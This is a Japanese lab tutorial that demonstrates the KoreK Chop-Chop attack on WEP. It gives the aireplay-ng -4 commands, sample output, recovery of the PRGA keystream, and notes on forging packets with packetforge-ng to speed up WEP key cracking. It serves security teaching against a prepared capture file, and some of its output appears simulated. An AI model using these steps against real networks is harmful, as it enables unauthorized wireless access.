はじめに
WEP (Wired Equivalent Privacy) は、古く、安全性の低い Wi-Fi セキュリティプロトコルです。その重大な脆弱性の 1 つは、KoreK Chop-Chop 攻撃によって悪用される可能性があります。この攻撃により、攻撃者はネットワークの秘密鍵を知らなくても WEP データパケットを復号化できます。これは、パケットの平文の各バイトを一度に 1 つずつ推測し、アクセスポイントの応答を使用して各推測を検証することによって機能します。
この実験では、ワイヤレスネットワークの監査に強力なツール群である aircrack-ng スイートを使用して、Chop-Chop 攻撃を実行します。aireplay-ng を使用してキャプチャファイルから暗号化されたデータパケットをターゲットにし、バイトごとに復号化し、結果のデータがさらなる攻撃にどのように使用できるかを理解する方法を学びます。
ターゲットから暗号化されたデータパケットをキャプチャする
このステップでは、まず必要なパケットキャプチャファイルを見つけます。実際のシナリオでは、airodump-ng のようなツールを使用してライブネットワークを監視し、トラフィックをキャプチャします。しかし、この実験を簡略化し、攻撃自体に焦点を当てるために、~/project ディレクトリに chopchop-test.cap という名前の事前作成されたキャプチャファイルが用意されています。
まず、ファイルが現在のディレクトリに存在することを確認します。
ls -l
出力に chopchop-test.cap が表示されるはずです。
total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap
次に、このファイルを aircrack-ng で検査し、WEP ネットワークからのデータが含まれていることを確認しましょう。このコマンドはキャプチャファイルを読み込み、含まれるネットワークとデータの概要を表示します。
aircrack-ng chopchop-test.cap
出力には、アクセスポイントの BSSID (MAC アドレス) が表示され、WEP 暗号化を使用していることが示されます。
Opening chopchop-test.cap
Read 1 packets.
## BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1 00:13:10:36:7D:4F -32 0 1 0 6 54 WEP WEP <length: 0>
Choosing first network as target.
これにより、キャプチャファイルが攻撃の準備ができていることが確認できました。
aireplay-ng -4 を使用して Chop-Chop 攻撃を開始する
このステップでは、aireplay-ng を使用して Chop-Chop 攻撃を開始します。このツールは、ワイヤレスフレームの挿入と再生に使用されます。Chop-Chop 攻撃は -4 オプションで指定されます。
通常、ライブ攻撃を実行する際には、アクセスポイントの BSSID とネットワークインターフェイスを指定します。しかし、キャプチャファイルを使用しているため、ファイルから直接パケットを読み込むために -r オプションを使用します。aireplay-ng は、ファイルから BSSID のような必要な情報を自動的に抽出します。
攻撃を開始するには、次のコマンドを実行します。
aireplay-ng -4 -r chopchop-test.cap
コマンドを実行すると、aireplay-ng はファイルを読み込み、適切なデータパケットを見つけ、攻撃の続行を確認するように求めます。
Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
BSSID = 00:13:10:36:7D:4F
Dest. MAC = 00:0F:B5:AB:CB:C3
Source MAC = 00:13:10:36:7D:4F
Use this packet ? (y/n)
ツールはデータパケットを特定し、復号化プロセスを開始する準備ができました。次のステップに進みます。
攻撃によりパケットをバイトごとに復号化する
このステップでは、攻撃を進め、aireplay-ng がパケットを復号化する様子を観察します。ツールは現在、前のステップからの確認を待っています。
y と入力して Enter を押すと、復号化プロセスが開始されます。
y
確認すると、aireplay-ng は Chop-Chop 攻撃の核心部分を開始します。パケットの最後のバイトから開始して、各バイトの値を推測しようとします。ライブ攻撃では、各推測値をアクセスポイントに送信し、応答を分析して推測が正しいかどうかを確認します。ファイルベースのシミュレーションでは、このプロセスがエミュレートされます。
攻撃の進行状況を示す出力が表示されます。送信されたパケット数(各推測ごと)が表示され、バイトを正常に復号化するたびに通知されます。
Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset 34 ( 0% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
...
Offset 1 (97% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Offset 0 (98% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Done.
このプロセスは、パケットのすべてのバイトが復号化されるまで続きます。プロセスの完了を待ってください。
復号化されたパケットと PRGA XOR ファイルを保存する
このステップでは、Chop-Chop 攻撃の成功結果を保存します。aireplay-ng がパケット全体の復号化を完了すると、結果の保存を促されます。
ツールは次のようなメッセージを表示します。
Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)
y と入力して Enter を押すと、出力が保存されます。
y
保存すると、aireplay-ng は ~/project ディレクトリに 2 つの重要なファイルを作成します。
.capファイル(例:replay_dec-....cap): このファイルには、復号化されたプレーンテキストパケットが含まれています。.xorファイル(例:replay_dec-....xor): このファイルには、元のパケットの暗号化に使用された疑似乱数生成アルゴリズム(PRGA)のキーストリームが含まれています。このキーストリームは、攻撃の最も価値のある結果です。
これらのファイルが作成されたことを確認しましょう。ls コマンドを使用して、ディレクトリ内のすべての .cap および .xor ファイルを一覧表示します。
ls -l *.cap *.xor
元のキャプチャファイル、ソースファイル、および攻撃によって生成された 2 つの新しい replay_dec-* ファイルが表示されます。
-rw-r--r-- 1 root root 124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root 60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_src-0320-100520.cap
Chop-Chop 攻撃のユースケースを理解する
このステップでは、Chop-Chop 攻撃の実用的な応用について学びます。パケットの復号化には成功しましたが、攻撃自体では WEP キーは明らかになりません。その真の力は、.xor ファイルに保存されている PRGA キーストリームを復旧することにあります。
この復旧されたキーストリームは、別のツールである packetforge-ng と組み合わせて、新しい有効なパケットを作成するために使用できます。ARP リクエストのような任意の種類のパケットを偽造し、この既知のキーストリームで暗号化できます。この偽造パケットをネットワークに再度注入することで、アクセスポイントにさらに多くのトラフィックを生成させることができます。この新しいトラフィックは、より多くのユニークな初期化ベクトル(IV)を提供し、これらは統計攻撃(標準の aircrack-ng 攻撃など)で使用され、WEP キーをはるかに高速にクラックするために利用できます。
したがって、Chop-Chop 攻撃は、静かなネットワーク上でトラフィックを生成し、より効果的なキークラッキング攻撃を可能にするための不可欠なツールです。
復旧されたキーストリームがどのようなものかを確認するために、xxd を使用して .xor ファイルを検査できます。xxd はファイルの 16 進数ダンプを作成するツールです。生成されたファイル名に一致させるためにワイルドカード(*)を使用します。
xxd replay_dec-*.xor
出力は、パケットから復旧されたキーストリームデータの 16 進数表現になります。
00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10 ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20 ...............
...
この生のデータは、packetforge-ng が注入用の新しいパケットを構築するために使用するものです。
まとめ
この実験では、シミュレートされた WEP ネットワークに対して KoreK Chop-Chop 攻撃を正常に実行しました。
キャプチャファイルから WEP で暗号化されたデータパケットをターゲットにするために、-4 オプション付きの aireplay-ng の使用方法を学びました。バイトごとの復号化プロセスを観察し、結果を正常に保存しました。最も重要なことは、この攻撃の主なユースケースを理解したことです。それは、WEP キーを直接クラックすることではなく、PRGA キーストリームの小さな断片を復旧することです。このキーストリームは、packetforge-ng で新しいパケットを偽造するための重要なコンポーネントであり、ネットワーク上のトラフィックを刺激し、最終的な WEP キーを復旧するための、より高速で効果的な統計攻撃を可能にするために使用できます。この実験は、WEP プロトコルの多くの根本的な弱点の 1 つを浮き彫りにしています。
